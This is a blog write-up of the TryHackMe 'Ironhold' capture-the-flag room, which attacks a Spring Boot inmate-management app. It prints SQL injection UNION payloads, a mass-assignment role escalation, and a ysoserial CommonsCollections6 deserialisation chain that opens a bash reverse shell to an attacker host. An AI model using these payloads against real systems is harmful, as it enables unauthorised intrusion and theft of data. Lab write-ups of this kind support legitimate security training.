Sitemap
Domon

Domon

Interested in Hacking and Computer Networking.

Ironhold THM | Writeup

7 min readJul 20, 2026

--

Press enter or click to view image in full size

IronHold is retiring its inmate-management platform. Somewhere in the handover, a developer pushed the complete repository to a public mirror and then left the company. Facility security wants a straight answer before the system goes dark for good: if that repository is out there, how far could someone actually get?

We start with nothing but what leaked: the full, unredacted source, and a live copy of the application still running on the network. No credentials, no map, no walkthrough. The code tells us what the developers got wrong; the running instance tells us if we’re right.

Get all four and Ironhold’s last system goes down the same way it went up: on its own mistakes.

Ironhold is a follow-up challenge to the Web Framework series of rooms, specifically targeting the Spring Boot framework in Java.

Try it here: https://tryhackme.com/room/ironhold
Web Frameworks, Java: https://tryhackme.com/room/webframeworksjava

INITIAL ENTRY

We are given the leaked source code to inspect. The first thing to look for is the application configurations.

Path: src/main/resources/application.properties

A configuration that should only be made during development has been pushed to production. All management interfaces have been included using the wildcard, “*”, with only the heapdump and threaddump features being excluded. The management interfaces can be accessed through the /actuator endpoint.
Another configuration to take note of is the use of an in-memory database, h2.

To view all the possible interfaces, head to http://<Target_IP>:8080/actuator. The interface we are most interested in is the env interface to enumerate environment variables.

Endpoint: http://<Target_IP>:8080/actuator/env

Looking through the result, the sensitive keys containing “password” or “secret” in their name are redacted, which is the expected behaviour of Spring Boot Actuator out of the box. Underneath, there is a KIOSK_PW key that leaks the kiosk account password. Since the abbreviation PW is not within the blocklist used for redacting values, it is plaintext.

Using these credentials, we can log in and get the first flag:

Username: kiosk
Password: [REDACTED]
Press enter or click to view image in full size

CLASSIC INJECTION

Full-stack frameworks like Spring Boot or Django for Python essentially eliminate SQL Injection entirely by making it dummy-proof through an ORM. Of course, these safeguards fail if you decide to execute a raw query. Inspecting the code for the /inmates endpoints:

Path: src/main/java/com/ironhold/controller/InmateController.java

The /inmates/search endpoint takes an optional parameter q, which is then directly concatenated to an SQL query. This allows an attacker to inject arbitrary SQL statements via UNION-type queries to extract data.

However, it is important to note that the columns we are going to be joining with are id, name, and block, which we cannot change. For a successful UNION, the data type MUST match to prevent a 500 server error. The data types of the fields above and the table name can be found at:

Path: src/main/java/com/ironhold/model/Inmate.java

Going to the /inmates endpoint:

Press enter or click to view image in full size

Testing a search payload:

' UNION SELECT id, name, block FROM inmates LIMIT 1 -- -
Press enter or click to view image in full size

An SQLI is live on the web application and can be exploited. To get the second flag, we must know what user we currently are and our access permissions.

Enumerating our username with the payload:

' UNION SELECT 1, user(), 3 -- -
Press enter or click to view image in full size

Special tables and their descriptions can be found in the h2 docs at:
https://h2database.com/html/systemtables.html#information_schema_table_privileges

Enumerating our permissions through the TABLE_PRIVILEGES table:

' UNION SELECT 1, GRANTEE, TABLE_NAME FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES -- -
Press enter or click to view image in full size

Reading the CaseFile.java model, we find the various fields that we can extract.

Path:src/main/java/com/ironhold/model/CaseFile.java

Payload to get the flag:

' UNION SELECT 1, title, summary FROM case_files -- -
Press enter or click to view image in full size

MASS ASSIGNMENT

If you inspect all the code for each of the application’s endpoints, only one stands out in that it directly maps to a model class. The profile update feature directly takes the posted content and maps that to the Staff class.

Path: src/main/java/com/ironhold/controller/ProfileController.java

If the attacker adds an extra role key-value to the post body, that will pass the conditional and update the current Staff object’s role attribute and save it.

Get Domon’s stories in your inbox

Join Medium for free to get updates from this writer.

At the bottom of the definition of the Staff model, the model exposes that one possible value of role is “WARDEN”.

Path: src/main/java/com/ironhold/model/Staff.java

Heading to the /profile endpoint, capturing the profile update request, and modifying it in repeater:

Press enter or click to view image in full size
Press enter or click to view image in full size

We have updated our role to “WARDEN” and opened up access to the admin panel!

Press enter or click to view image in full size

RCE

With all endpoints beginning with /admin opened up, we can head to the admin settings panel as defined in AdminController.java. Going to /admin/settings:

Press enter or click to view image in full size

We see the bulk import and export feature we did not have access to before. Reading the code for the feature, the import feature takes in serialised data in base64 and creates a new object from the input. No verification or sanitisation is done. Upon calling readObject() on the newly created object, a suitable gadget chain can be executed to achieve RCE.

Path: src/main/java/com/ironhold/controller/ImportExportController.java
Press enter or click to view image in full size

To generate a suitable payload that executes our command, we need to find out if there are any vulnerable libraries loaded that we can traverse to gain remote execution.

In pom.xml, an outdated dependency, commons-collections, with a version between 3.2 (inclusive) and 3.2.2 (exclusive), is a known gadget chain when deserialising untrusted data.

Before that, we test the deserialisation to see if it works with normal expected input provided by the /admin/export endpoint. The data provided below should work regardless:

data: rO0ABXNyACFjb20uaXJvbmhvbGQubW9kZWwuSW1wb3J0TWFuaWZlc3QAAAAAAAAAAQIABEkAC3JlY29yZENvdW50TAAHYmF0Y2hJZHQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAC2dlbmVyYXRlZEF0dAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wAC2dlbmVyYXRlZEJ5cQB+AAF4cAAAAAB0ABNCQVRDSC0xNzg0NTU4OTg5NjY5c3IADWphdmEudGltZS5TZXKVXYS6GyJIsgwAAHhwdw4FAAAH6gcUDjExKBsa6Hh0AAVraW9zaw==
curl -b 'JSESSIONID=<COOKIE>' -d '<data>' -H 'Content-Type: text/plain' http://<Target_IP>:8080/admin/import

Our import was accepted, with the deserialised object’s class name printed out.

Using ysoserial, we can generate a suitable payload using CommonsCollections6. Since ysoserial splits the payload on spaces, we cannot easily send a reverse shell payload. A trick for writing a valid payload is shown at the end of this article:

ysoserial jar:

With that, we can generate our payload:

CMD1: echo '/bin/bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1' | base64
CMD2: nc -nvlp 4444
CMD3: payload=$(java --add-opens=java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,<CMD1_OUTPUT>}|{base64,-d}|{bash,-i}" | base64 -w0) && curl -b 'JSESSIONID=<COOKIE>' -H 'Content-Type: text/plain' http://<TARGET_IP>:8080/admin/import -d $payload

Note: the — add-opens flag must be used due to newer Java versions

Make sure to start a listener before CMD3, as the command sends the payload to the server immediately.

Press enter or click to view image in full size

With that, we get a shell as appuser. Searching for the flag using the command:

find / -iname "*flag*" 2>/dev/null

We found the flag!

Press enter or click to view image in full size

EXTRA (UNINTENDED ALT)

The source code leaked a bunch of hints and alternatives to getting each flag. Looking at DataSeeder.java, which seeds the initial data for the application:

Path: src/main/java/com/ironhold/seed/DataSeeder.java

The first credentials are shown in plaintext and are valid. You need not go through the process of finding them through the env management interface.

Press enter or click to view image in full size
Press enter or click to view image in full size

The above hints tell you where the second flag is located.

CONCLUSION

This room gives practical experience in white-box testing. Common misconfigurations and insecure implementations were a key part of this room. Overall, a very solid room for practising the skill of reading Java code and identifying vulnerable Java code. 🎊

--

--

Domon
Domon

Written by Domon

Interested in Hacking and Computer Networking.